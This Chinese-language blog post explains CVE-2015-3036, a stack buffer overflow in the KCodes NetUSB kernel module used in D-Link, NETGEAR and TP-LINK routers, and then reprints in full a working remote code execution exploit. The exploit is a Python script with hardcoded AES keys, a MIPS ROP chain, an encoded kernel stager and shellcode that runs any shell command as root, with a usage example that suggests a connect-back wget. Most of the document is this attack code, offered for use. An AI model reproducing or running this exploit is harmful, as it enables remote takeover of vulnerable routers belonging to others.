今年五月份知名路由器D-Link、NETGEAR、TP-LINK上重要驱动组件NetUSB被曝存在严重的远程溢出漏洞，影响数以百万计的路由和嵌入式设备。NetUSB技术由台湾企业盈码科(KCodes)开发。
科普：KCodes NetUSB
KCodes NetUSB是Linux内核模块，可通过IP提供USB设备网络共享功能。由台湾企业盈码科(KCodes)开发。
KCodes NetUSB模块的run_init_sbus函数存在栈缓冲区溢出漏洞，远程攻击者通过TCP端口20005上的会话，运行较长的计算机名，利用此漏洞可执行任意代码。此模块广泛使用在某些NETGEAR产品、TP-LINK产品等。
这个漏洞是由奥地利安全公司SEC Consult的研究员Stefan Viehbock提交的，漏洞的编号为CVE-2015-3036，当客户端发送计算机名到网络设备的服务端(TCP端口 20005)时，同该端口建立连接后，就可以触发这个漏洞。
如果客户端发送的计算机名长度大于64字符，会让含NetUSB模块的设备出现溢出，从而造成内存破坏。
Talk is cheap ，show me the code!
下面是一个武器化的远程命令执行脚本。
之前已经看到过很多个拒绝服务这种蛋疼的漏洞，放弃那些没个卵用的poc吧，这是个令人兴奋的代码执行。
脚本来自：http://haxx.in/blasty-vs-netusb.py
#!/usr/bin/env python## CVE-2015-3036 - NetUSB Remote Code Execution exploit (Linux/MIPS) # ===========================================================================# This is a weaponized exploit for the NetUSB kernel vulnerability # discovered by SEC Consult Vulnerability Lab. [1]# # I don't like lazy vendors, I've seen some DoS PoC's floating around# for this bug.. and it's been almost five(!) months. So lets kick it up # a notch with an actual proof of concept that yields code exec.## So anyway.. a remotely exploitable kernel vulnerability, exciting eh. ;-)# # Smash stack, ROP, decode, stage, spawn userland process. woo!## Currently this is weaponized for one target device (the one I own, I was# planning on porting OpenWRT but got sidetracked by the NetUSB stuff in # the default firmware image, oooops. ;-D).## This python script is horrible, but its not about the glue, its about# the tech contained therein. Some things *may* be (intentionally?) botched..# lets see if "the community" cares enough to develop this any further,# I need to move on with life. ;-D# # Shoutouts to all my boys & girls around the world, you know who you are!## Peace,# -- blasty <peter@haxx.in> // 20151013## References:# [1] : https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt# /20150519-0_KCodes_NetUSB_Kernel_Stack_Buffer_Overflow_v10.txt#import os, sys, struct, socket, time from Crypto.Cipher import AES def u32(v): return struct.pack("<L", v)def banner(): print "" print "## NetUSB (CVE-2015-3036) remote code execution exploit" print "## by blasty <peter@haxx.in>" print ""def usage(prog): print "usage : %s <host> <port> <cmd>" % (prog) print "example : %s 127.0.0.1 20005 'wget connectback..." % (prog) print "" banner()if len(sys.argv) != 4: usage(sys.argv[0]) exit(0) cmd = sys.argv[3]# Here's one, give us more! (hint: /proc/kallsyms and objdump, bro) targets = [ { "name" : "WNDR3700v5 - Linux 2.6.36 (mips32-le)", "kernel_base" : 0x80001000, # adjust to offset used in 'load_addr_and_jump' gadget # should be some big immediate to avoid NUL bytes "load_addr_offset" : 4156, "gadgets" : { # 8c42103c lw v0,4156(v0) # 0040f809 jalr v0 # 00000000 nop 'load_addr_and_jump' : 0x1f548, # 8fa20010 lw v0,16(sp) # 8fbf001c lw ra,28(sp) # 03e00008 jr ra # 27bd0020 addiu sp,sp,32 'load_v0_and_ra' : 0x34bbc, # 27b10010 addiu s1,sp,16 # 00602021 move a0,v1 # 0040f809 jalr v0 # 02202821 move a1,s1 'move_sp_plus16_to_s1' : 0x63570, # 0220f809 jalr s1 # 00000000 nop 'jalr_s1' : 0x63570, 'a_r4k_blast_dcache' : 0x6d4678, 'kmalloc' : 0xb110c, 'ks_recv' : 0xc145e270, 'call_usermodehelper_setup' : 0x5b91c, 'call_usermodehelper_exec' : 0x5bb20 } }]# im lazy, hardcoded to use the only avail. target for now# hey, at least I made it somewhat easy to easily add new targets target = targets[0]# hullo there. hello = "\x56\x03"# sekrit keyz that are hardcoded in netusb.ko, sorry KCodes# people, this is not how you implement auth. lol. aesk0 = "0B7928FF6A76223C21A3B794084E1CAD".decode('hex') aesk1 = "A2353556541CFE44EC468248064DE66C".decode('hex') key = aesk1 IV = "\x00"*16 mode = AES.MODE_CBC aes = AES.new(key, mode, IV=IV) aesk0_d = aes.decrypt(aesk0) aes2 = AES.new(aesk0_d, mode, IV="\x00"*16) s = socket.create_connection((sys.argv[1], int(sys.argv[2], 0)))print "[>] sending HELLO pkt" s.send(hello) time.sleep(0.2) verify_data = "\xaa"*16print "[>] sending verify data" s.send(verify_data) time.sleep(0.2)print "[>] reading response" data = s.recv(0x200)print "[!] got %d bytes .." % len(data)print "[>] data: " + data.encode('hex') pkt = aes2.decrypt(data)print "[>] decr: " + pkt.encode("hex")if pkt[0:16] != "\xaa"*16: print "[!] error: decrypted rnd data mismatch :(" exit(-1) rnd = data[16:] aes2 = AES.new(aesk0_d, mode, IV="\x00"*16) pkt_c = aes2.encrypt(rnd)print "[>] sending back crypted random data" s.send(pkt_c)# Once upon a time.. d = "A"# hardcoded decoder_key, this one is 'safe' for the current stager decoder_key = 0x1337babf# NUL-free mips code which decodes the next stage,# flushes the d-cache, and branches there.# loosely inspired by some shit Julien Tinnes once wrote. decoder_stub = [ 0x0320e821, # move sp,t9 0x27a90168, # addiu t1,sp,360 0x2529fef0, # addiu t1,t1,-272 0x240afffb, # li t2,-5 0x01405027, # nor t2,t2,zero 0x214bfffc, # addi t3,t2,-4 0x240cff87, # li t4,-121 0x01806027, # nor t4,t4,zero 0x3c0d0000, # [8] lui t5, xorkey@hi 0x35ad0000, # [9] ori t5,t5, xorkey@lo 0x8d28fffc, # lw t0,-4(t1) 0x010d7026, # xor t6,t0,t5 0xad2efffc, # sw t6,-4(t1) 0x258cfffc, # addiu t4,t4,-4 0x140cfffb, # bne zero,t4,0x28 0x012a4820, # add t1,t1,t2 0x3c190000, # [16] lui t9, (a_r4k_blast_dcache-0x110)@hi 0x37390000, # [17] ori t9,t9,(a_r4k_blast_dcache-0x110)@lo 0x8f390110, # lw t9,272(t9) 0x0320f809, # jalr t9 0x3c181234, # lui t8,0x1234]# patch xorkey into decoder stub decoder_stub[8] = decoder_stub[8] | (decoder_key >> 16) decoder_stub[9] = decoder_stub[9] | (decoder_key & 0xffff) r4k_blast_dcache = target['kernel_base'] r4k_blast_dcache = r4k_blast_dcache + target['gadgets']['a_r4k_blast_dcache']# patch the r4k_blast_dcache address in decoder stub decoder_stub[16] = decoder_stub[16] | (r4k_blast_dcache >> 16) decoder_stub[17] = decoder_stub[17] | (r4k_blast_dcache & 0xffff)# pad it out d += "A"*(233-len(d))# kernel payload stager kernel_stager = [ 0x27bdffe0, # addiu sp,sp,-32 0x24041000, # li a0,4096 0x24050000, # li a1,0 0x3c190000, # [3] lui t9,kmalloc@hi 0x37390000, # [4] ori t9,t9,kmalloc@lo 0x0320f809, # jalr t9 0x00000000, # nop 0x0040b821, # move s7,v0 0x02602021, # move a0,s3 0x02e02821, # move a1,s7 0x24061000, # li a2,4096 0x00003821, # move a3,zero 0x3c190000, # [12] lui t9,ks_recv@hi 0x37390000, # [13] ori t9,t9,ks_recv@lo 0x0320f809, # jalr t9 0x00000000, # nop 0x3c190000, # [16] lui t9,a_r4k_blast_dcache@hi 0x37390000, # [17] ori t9,t9,a_r4k_blast_dcache@lo 0x8f390000, # lw t9,0(t9) 0x0320f809, # jalr t9 0x00000000, # nop 0x02e0f809, # jalr s7 0x00000000 # nop] kmalloc = target['kernel_base'] + target['gadgets']['kmalloc'] ks_recv = target['gadgets']['ks_recv']# patch kernel stager kernel_stager[3] = kernel_stager[3] | (kmalloc >> 16) kernel_stager[4] = kernel_stager[4] | (kmalloc & 0xffff) kernel_stager[12] = kernel_stager[12] | (ks_recv >> 16) kernel_stager[13] = kernel_stager[13] | (ks_recv & 0xffff) kernel_stager[16] = kernel_stager[16] | (r4k_blast_dcache >> 16) kernel_stager[17] = kernel_stager[17] | (r4k_blast_dcache & 0xffff)# a ROP chain for MIPS, always ew. rop = [ # this gadget will # v0 = *(sp+16) # ra = *(sp+28) # sp += 32 target['kernel_base'] + target['gadgets']['load_v0_and_ra'], # stack for the g_load_v0_and_ra gadget 0xaaaaaaa1, # sp+0 0xaaaaaaa2, # sp+4 0xaaaaaaa3, # sp+8 0xaaaaaaa4, # sp+12 r4k_blast_dcache - target['load_addr_offset'], # sp+16 / v0 0xaaaaaaa6, # sp+20 0xaaaaaaa7, # sp+24 # this gadget will # v0 = *(v0 + 4156) # v0(); # ra = *(sp + 20) # sp += 24 # ra(); target['kernel_base'] + target['gadgets']['load_addr_and_jump'], # sp+28 0xbbbbbbb2, 0xccccccc3, 0xddddddd4, 0xeeeeeee5, 0xeeeeeee6, # this is the RA fetched by g_load_addr_and_jump target['kernel_base'] + target['gadgets']['load_v0_and_ra'], # stack for the g_load_v0_and_ra gadget 0xaaaaaaa1, # sp+0 0xaaaaaaa2, # sp+4 0xaaaaaaa3, # sp+8 0xaaaaaaa4, # sp+12 target['kernel_base'] + target['gadgets']['jalr_s1'], # sp+16 / v0 0xaaaaaaa6, # sp+20 0xaaaaaaa7, # sp+24 target['kernel_base'] + target['gadgets']['move_sp_plus16_to_s1'], # ra # second piece of native code getting executed, pivot back in the stack 0x27b9febc, # t9 = sp - offset 0x0320f809, # jalr t9 0x3c181234, # nop 0x3c181234, # nop # first native code getting executed, branch back to previous 4 opcodes 0x03a0c821, # move t9, sp 0x0320f809, # jalr t9 0x3c181234,]# append rop chain to bufferfor w in rop: d += u32(w)# append decoder_stub to bufferfor w in decoder_stub: d += u32(w)# encode stager and append to bufferfor w in kernel_stager: d += u32(w ^ decoder_key)print "[>] sending computername_length.." time.sleep(0.1) s.send(struct.pack("<L", len(d)))print "[>] sending payload.." time.sleep(0.1) s.send(d) time.sleep(0.1)print "[>] sending stage2.."# a useful thing to do when you bust straight into the kernel # is to go back to userland, huhuhu.# thanks to jix for the usermodehelper suggestion! :) kernel_shellcode = [ 0x3c16dead, # lui s6,0xdead 0x3c19dead, # lui t9,0xdead 0x3739c0de, # ori t9,t9,0xc0de 0x2404007c, # li a0, argv 0x00972021, # addu a0,a0,s7 0x2405008c, # li a1, argv0 0x00b72821, # addu a1,a1,s7 0xac850000, # sw a1,0(a0) 0x24050094, # li a1, argv1 0x00b72821, # addu a1,a1,s7 0xac850004, # sw a1,4(a0) 0x24060097, # li a2, argv2 0x00d73021, # addu a2,a2,s7 0xac860008, # sw a2,8(a0) 0x00802821, # move a1,a0 0x2404008c, # li a0, argv0 0x00972021, # addu a0,a0,s7 0x24060078, # li a2, envp 0x00d73021, # addu a2,a2,s7 0x24070020, # li a3,32 0x3c190000, # [20] lui t9,call_usermodehelper_setup@hi 0x37390000, # [21] ori t9,t9,call_usermodehelper_setup@lo # call_usermodehelper_setup(argv[0], argv, envp, GPF_ATOMIC) 0x0320f809, # jalr t9 0x00000000, # nop 0x00402021, # move a0,v0 0x24050002, # li a1,2 0x3c190000, # [26] lui t9,call_usermodehelper_exec@hi 0x37390000, # [27] ori t9,t9,call_usermodehelper_exec@lo # call_usermodehelper_exec(retval, UHM_WAIT_PROC) 0x0320f809, # jalr t9 0x00000000, # nop # envp ptr 0x00000000, # argv ptrs 0x00000000, 0x00000000, 0x00000000, 0x00000000] usermodehelper_setup = target['gadgets']['call_usermodehelper_setup'] usermodehelper_exec = target['gadgets']['call_usermodehelper_exec']# patch call_usermodehelper_setup into kernel shellcode kernel_shellcode[20] = kernel_shellcode[20] | (usermodehelper_setup>>16) kernel_shellcode[21] = kernel_shellcode[21] | (usermodehelper_setup&0xffff)# patch call_usermodehelper_setup into kernel shellcode kernel_shellcode[26] = kernel_shellcode[26] | (usermodehelper_exec>>16) kernel_shellcode[27] = kernel_shellcode[27] | (usermodehelper_exec&0xffff) payload = ""for w in kernel_shellcode: payload += u32(w) payload += "/bin/sh\x00" payload += "-c\x00" payload += cmd # and now for the moneyshot s.send(payload)print "[~] KABOOM! Have a nice day."
